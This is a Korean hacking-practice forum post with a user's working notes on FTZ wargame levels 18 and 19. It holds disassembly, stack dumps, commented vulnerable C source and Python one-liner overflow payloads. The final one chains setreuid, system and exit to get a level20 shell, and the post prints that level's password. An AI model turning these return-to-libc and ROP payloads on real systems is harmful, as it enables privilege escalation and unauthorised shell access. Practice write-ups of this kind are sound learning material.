[FTZ] Level 18,19

해킹대회 문제 풀이 연습장소

Moderator: amesianx

Post Reply
swoo1013
Posts: 31
Joined: Tue Sep 20, 2016 4:25 pm

[FTZ] Level 18,19

Post by swoo1013 » Fri Dec 09, 2016 1:03 am

<ftz level18, level19>


libc : 0xb7f5de64 ("/bin/sh")

/bin/sh : 0b7f5de64

0x080484a8 <main+0>: push ebp
0x080484a9 <main+1>: mov ebp,esp
0x080484ab <main+3>: sub esp,0x38
=> 해당 스택 프레임은 메모리에서 56바이트를 할당
0x080484ae <main+6>: mov DWORD PTR [ebp-16],0x8048490
=> CALL 주소를 ebp-16위치에 저장
0x080484b5 <main+13>: sub esp,0x4
0x080484b8 <main+16>: push ds:0x804967c
0x080484be <main+22>: push 0x30
0x080484c0 <main+24>: lea eax,[ebp-56]
=> ebp-56의 위치에 있는 주소를 eax에 저장
0x080484c3 <main+27>: push eax
=> ebp-56의 위치를 push
0x080484c4 <main+28>: call 0x8048350 <fgets>
=> 여기선 fgets(buf, 42, stdin)으로 선언했으니
buf의 주소는 ebp-56 위치에 있게 된다.

0x080484e1 <main+57>: mov eax,DWORD PTR [ebp-16]
-> call eax 인자값 주소,, 즉 인자값 주소를
/bin/sh로 변조하고 call eax는 system으로 변조한다는 의미인가

0x080484e4 <main+60>: call eax
0x080484e6 <main+62>: leave

$1 = {<text variable, no debug info>} 0x4203f2c0 <system>


call eax에서 이 값을 변조할 수 있다?
(gdb) x/40wx $esp
0xbfffec10: 0x41414141 0x4213000a 0xbfffec38 0x08048471
스택의 최상단에는 내가 입력한 함수의 주소가 호출된다?

/bin/sh의 주소는 42127ea4

(python -c 'print "\xa4\x7e\x12\x42"+"\x90"*36+"\xc0\xf2\x03\x42"';cat) | ./attackme


[level18@ftz level18]$ cat hint

#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
// 변수 선언부.. 스택은 string[100], check, x, coiunt ,fds 순서대로 선언되었기 때문에
// string에 입력하는 값으로는 check, x, count, fds의 값을 덮어 씌울 수 없다.
char string[100]; // 100
int check; // 104
int x = 0; // 108
int count = 0; // 112
fd_set fds;



printf("Enter your command: ");
fflush(stdout);
while(1)
{
if(count >= 100)
// count가 100 이상일 경우 what are you trying to do?
// 무한 루프로 출력해준다.
printf("what are you trying to do?\n");
if(check == 0xdeadbeef)
// check라는 변수의 값이 0xdeadbeef일 경우 shell을 떨어뜨린다.
shellout();
else
{
FD_ZERO(&fds);
// 변수 선언부에서 선언한 소켓 구조체인 fds를 초기화
FD_SET(STDIN_FILENO,&fds);
// 소켓구조체에 STDIN 즉 표준출력 넘버를 셋팅
if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
// 여러개의 fd 구조체를 모니터링하는 함수, fd_setsize는 1024로
// 1024개의 소켓 구조체를 모니터링, 다른 인자들은 null로 주고,
// 인자 입력에 &fds를 주어 fds 구조체에 '입력'되는 이벤트에만
// true 값이 셋팅되어 if문 안으로 들어갈 수 있다.
{
if(FD_ISSET(fileno(stdin),&fds))
// fds 구조체가 stdin으로 전달되는 적절한 fd 정보를 가지고 있는지
// 확인하는 부분 fds에 위에서 fd_set으로 설정한 파일 디스크립터가
// 넘버로 저장되어 있는지 검사하는 부분
{
read(fileno(stdin),&x,1);
// 표준입력으로부터 1바이트만큼 읽어온다!

switch(x)
{
case '\r':
case '\n':
// 표준입력으로부터 가져온 1바이트가 \r이나 \n인 경우
// \a 비프음을 발생 시키고 break를 수행한다.
printf("\a");
break;
case 0x08:
// 표준입력이 0x08일 경우 count를 1개 감소시킨다.
count--;
printf("\b \b");
break;
default:
// 위에 해당하지 않는 값들은 count 변수를 통해
// string[count]에 읽어온 x의 값을 저장한다.

string[count] = x;
count++;
break;
}
}
}
}
}
}

void shellout(void)
{
setreuid(3099,3099);
execl("/bin/sh","sh",NULL);
}

Dump of assembler code for function main:
0x08048550 <main+0>: push ebp
0x08048551 <main+1>: mov ebp,esp
0x08048553 <main+3>: sub esp,0x100 // 메모리 256바이트 확보
0x08048559 <main+9>: push edi
0x0804855a <main+10>: push esi
0x0804855b <main+11>: push ebx
0x0804855c <main+12>: mov DWORD PTR [ebp-108],0x0
0x08048563 <main+19>: mov DWORD PTR [ebp-112],0x0
0x0804856a <main+26>: push 0x8048800
0x0804856f <main+31>: call 0x8048470 <printf>
0x08048574 <main+36>: add esp,0x4
0x08048577 <main+39>: mov eax,ds:0x804993c
0x0804857c <main+44>: mov DWORD PTR [ebp-252],eax
0x08048582 <main+50>: mov ecx,DWORD PTR [ebp-252]
0x08048588 <main+56>: push ecx
0x08048589 <main+57>: call 0x8048430 <fflush>
0x0804858e <main+62>: add esp,0x4
0x08048591 <main+65>: jmp 0x8048598 <main+72>
0x08048593 <main+67>: jmp 0x8048775 <main+549>
0x08048598 <main+72>: cmp DWORD PTR [ebp-112],0x63
0x0804859c <main+76>: jle 0x80485ab <main+91>
0x0804859e <main+78>: push 0x8048815
0x080485a3 <main+83>: call 0x8048470 <printf>
0x080485a8 <main+88>: add esp,0x4
0x080485ab <main+91>: cmp DWORD PTR [ebp-104],0xdeadbeef // ebp-104 =>check 0xdeadbeef를 비교!
0x080485b2 <main+98>: jne 0x80485c0 <main+112>
0x080485b4 <main+100>: call 0x8048780 <shellout>
0x080485b9 <main+105>: jmp 0x8048770 <main+544>
---Type <return> to continue, or q <return> to quit---
0x080485be <main+110>: mov esi,esi
0x080485c0 <main+112>: lea edi,[ebp-240]
0x080485c6 <main+118>: mov DWORD PTR [ebp-252],edi
0x080485cc <main+124>: mov ecx,0x20
0x080485d1 <main+129>: mov edi,DWORD PTR [ebp-252]
0x080485d7 <main+135>: xor eax,eax
0x080485d9 <main+137>: cld
0x080485da <main+138>: repz stos es:[edi],eax
0x080485dc <main+140>: mov DWORD PTR [ebp-244],ecx
0x080485e2 <main+146>: mov DWORD PTR [ebp-248],edi
0x080485e8 <main+152>: jmp 0x80485f2 <main+162>
0x080485ea <main+154>: lea esi,[esi]
0x080485f0 <main+160>: jmp 0x80485c0 <main+112>
0x080485f2 <main+162>: xor eax,eax
0x080485f4 <main+164>: bts DWORD PTR [ebp-240],eax
0x080485fb <main+171>: push 0x0
0x080485fd <main+173>: push 0x0
0x080485ff <main+175>: push 0x0
0x08048601 <main+177>: lea ecx,[ebp-240]
0x08048607 <main+183>: mov DWORD PTR [ebp-252],ecx
0x0804860d <main+189>: mov edi,DWORD PTR [ebp-252]
0x08048613 <main+195>: push edi
0x08048614 <main+196>: push 0x400
0x08048619 <main+201>: call 0x8048440 <select>
0x0804861e <main+206>: add esp,0x14
0x08048621 <main+209>: mov DWORD PTR [ebp-252],eax
0x08048627 <main+215>: cmp DWORD PTR [ebp-252],0x0
0x0804862e <main+222>: jle 0x8048770 <main+544>
0x08048634 <main+228>: mov eax,ds:0x8049940
---Type <return> to continue, or q <return> to quit---
0x08048639 <main+233>: mov DWORD PTR [ebp-252],eax
0x0804863f <main+239>: mov ecx,DWORD PTR [ebp-252]
0x08048645 <main+245>: push ecx
0x08048646 <main+246>: call 0x8048420 <fileno>
0x0804864b <main+251>: add esp,0x4
0x0804864e <main+254>: mov DWORD PTR [ebp-252],eax
0x08048654 <main+260>: mov esi,DWORD PTR [ebp-252]
0x0804865a <main+266>: and esi,0x1f
0x0804865d <main+269>: mov edi,ds:0x8049940
0x08048663 <main+275>: mov DWORD PTR [ebp-252],edi
0x08048669 <main+281>: mov eax,DWORD PTR [ebp-252]
0x0804866f <main+287>: push eax
0x08048670 <main+288>: call 0x8048420 <fileno>
0x08048675 <main+293>: add esp,0x4
0x08048678 <main+296>: mov DWORD PTR [ebp-252],eax
0x0804867e <main+302>: mov edx,DWORD PTR [ebp-252]
0x08048684 <main+308>: shr edx,0x5
0x08048687 <main+311>: lea ecx,[edx*4]
0x0804868e <main+318>: mov DWORD PTR [ebp-252],ecx
0x08048694 <main+324>: lea edx,[ebp-240]
0x0804869a <main+330>: mov edi,DWORD PTR [ebp-252]
0x080486a0 <main+336>: bt DWORD PTR [edi+edx],esi
0x080486a4 <main+340>: setb bl
0x080486a7 <main+343>: test bl,bl
0x080486a9 <main+345>: je 0x8048770 <main+544>
0x080486af <main+351>: push 0x1
0x080486b1 <main+353>: lea eax,[ebp-108]
0x080486b4 <main+356>: mov DWORD PTR [ebp-252],eax
0x080486ba <main+362>: mov ecx,DWORD PTR [ebp-252]
---Type <return> to continue, or q <return> to quit---
0x080486c0 <main+368>: push ecx
0x080486c1 <main+369>: mov edi,ds:0x8049940
0x080486c7 <main+375>: mov DWORD PTR [ebp-252],edi
0x080486cd <main+381>: mov eax,DWORD PTR [ebp-252]
0x080486d3 <main+387>: push eax
0x080486d4 <main+388>: call 0x8048420 <fileno>
0x080486d9 <main+393>: add esp,0x4
0x080486dc <main+396>: mov DWORD PTR [ebp-252],eax
0x080486e2 <main+402>: mov ecx,DWORD PTR [ebp-252] // ebp-252
//
0x080486e8 <main+408>: push ecx
0x080486e9 <main+409>: call 0x8048490 <read> // 1byte씩 읽어온다
0x080486ee <main+414>: add esp,0xc
0x080486f1 <main+417>: mov edi,DWORD PTR [ebp-108]
0x080486f4 <main+420>: mov DWORD PTR [ebp-252],edi
0x080486fa <main+426>: cmp DWORD PTR [ebp-252],0xa
0x08048701 <main+433>: je 0x8048722 <main+466>
0x08048703 <main+435>: cmp DWORD PTR [ebp-252],0xa
0x0804870a <main+442>: jg 0x8048717 <main+455>
0x0804870c <main+444>: cmp DWORD PTR [ebp-252],0x8
0x08048713 <main+451>: je 0x8048731 <main+481>
0x08048715 <main+453>: jmp 0x8048743 <main+499>
0x08048717 <main+455>: cmp DWORD PTR [ebp-252],0xd
0x0804871e <main+462>: je 0x8048722 <main+466>
0x08048720 <main+464>: jmp 0x8048743 <main+499>
0x08048722 <main+466>: push 0x8048831
0x08048727 <main+471>: call 0x8048470 <printf>
0x0804872c <main+476>: add esp,0x4
0x0804872f <main+479>: jmp 0x8048770 <main+544>
0x08048731 <main+481>: dec DWORD PTR [ebp-112] // count
// ebp-112
---Type <return> to continue, or q <return> to quit---
0x08048734 <main+484>: push 0x8048833
0x08048739 <main+489>: call 0x8048470 <printf> // printf(\b\b);
0x0804873e <main+494>: add esp,0x4
0x08048741 <main+497>: jmp 0x8048770 <main+544>
0x08048743 <main+499>: lea eax,[ebp-100] // string
0x08048746 <main+502>: mov DWORD PTR [ebp-252],eax
0x0804874c <main+508>: mov edx,DWORD PTR [ebp-112] // [count]
0x0804874f <main+511>: mov cl,BYTE PTR [ebp-108] //x
0x08048752 <main+514>: mov BYTE PTR [ebp-253],cl
0x08048758 <main+520>: mov al,BYTE PTR [ebp-253]
0x0804875e <main+526>: mov ecx,DWORD PTR [ebp-252]
0x08048764 <main+532>: mov BYTE PTR [edx+ecx],al
0x08048767 <main+535>: inc DWORD PTR [ebp-112]
0x0804876a <main+538>: jmp 0x8048770 <main+544>
0x0804876c <main+540>: lea esi,[esi*1]
0x08048770 <main+544>: jmp 0x8048591 <main+65>
0x08048775 <main+549>: lea esp,[ebp-268]
0x0804877b <main+555>: pop ebx
0x0804877c <main+556>: pop esi
0x0804877d <main+557>: pop edi
0x0804877e <main+558>: leave
0x0804877f <main+559>: ret


--------- FTZ LEVEL 19 ----------
main()
{ char buf[20];
gets(buf);
printf("%s\n",buf);
}

(gdb) disas main
Dump of assembler code for function main:
0x08048440 <main+0>: push ebp
0x08048441 <main+1>: mov ebp,esp
0x08048443 <main+3>: sub esp,0x28
0x08048446 <main+6>: sub esp,0xc
0x08048449 <main+9>: lea eax,[ebp-40]
0x0804844c <main+12>: push eax
0x0804844d <main+13>: call 0x80482f4 <gets>
0x08048452 <main+18>: add esp,0x10
0x08048455 <main+21>: sub esp,0x8
0x08048458 <main+24>: lea eax,[ebp-40]
0x0804845b <main+27>: push eax
0x0804845c <main+28>: push 0x80484d8
0x08048461 <main+33>: call 0x8048324 <printf>
0x08048466 <main+38>: add esp,0x10
0x08048469 <main+41>: leave
0x0804846a <main+42>: ret
0x0804846b <main+43>: nop
0x0804846c <main+44>: nop
0x0804846d <main+45>: nop
0x0804846e <main+46>: nop
0x0804846f <main+47>: nop
End of assembler dump.

(gdb) p system
$1 = {<text variable, no debug info>} 0x4203f2c0 <system>

/bin/sh 42127ea4



gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e3f850 <__libc_system>
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xb7f5de64 ("/bin/sh")

(gdb) p execl
$1 = {<text variable, no debug info>} 0x420acaa0 <execl>

[level19@ftz tmp]$ ./a
42127ea4

(gdb) x/32wx $esp
0xbffff610: 0xbffff620 0x42130a14 0xbffff638 0x08048421
0xbffff620: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff630: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff640: 0x41414141 0x41414141 0x42424242 0x43434343
0xbffff650: 0x00000000 0xbffff694 0xbffff69c 0x4001582c
0xbffff660: 0x00000001 0x08048340 0x00000000 0x08048361
0xbffff670: 0x08048440 0x00000001 0xbffff694 0x080482bc
0xbffff680: 0x080484b0 0x4000c660 0xbffff68c 0x00000000

Segmentation fault
[level19@ftz level19]$ (python -c 'print "A"*44+"\xa0\xca\x0a\x42"+"\x74\xf6\xff\bf"*6';cat) |./attackme

execl+\x01_addr*6 공격 시도 실패!....


ROP로 공격 시도

buffer[20] + dummy[20] + sfp[4] + ret[4] 이런식인데
ret[4] 대신 setreuid() + pop pop ret<argv1><argv2> + system + exit + /bin/sh

이런식으로 공격하면 setrueid를 호출하고 system('/bin/sh')를 호출하고
세그먼트 폴트는 일어나지 않고 정상적으로 종료될 것이다.

(gdb) p setreuid
$1 = {<text variable, no debug info>} 0x420d7920 <setreuid>
(gdb) p system
$2 = {<text variable, no debug info>} 0x4203f2c0 <system>
(gdb) p exit
$3 = {<text variable, no debug info>} 0x42029bb0 <exit>

804849d: 5b pop %ebx
804849e: 5d pop %ebp
804849f: c3 ret

/bin/sh -> 42127ea4

최종 페이로드는 아래와 같다!!
(python -c 'print "A"*44+"\x20\x79\x0d\x42"+"\x9d\x84\x04\x08"+"\x1c\x0c\x00\x00"*2+"\xc0\xf2\x03\x42"+"\xb0\x9b\x02\x04"+"\xa4\x7e\x12\x42"';cat) | ./attackme

Segmentation fault
[level19@ftz level19]$
[level19@ftz level19]$ (python -c 'print "A"*44+"\x20\x79\x0d\x42"+"\x9d\x84\x04\x08"+"\x1c\x0c\x00\x00"*2+"\xc0\xf2\x03\x42"+"\xb0\x9b\x02\x04"+"\xa4\x7e\x12\x42"';cat) | ./attackme
BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA y

id
uid=3100(level20) gid=3099(level19) groups=3099(level19)
Level20 Password is "we are just regular guys".


----- 정리중------------ 정리중------------ 정리중------------ 정리중------------ 정리중------------ 정리중------------ 정리중------------ 정리중-------

Post Reply

Who is online

Users browsing this forum: No registered users and 17 guests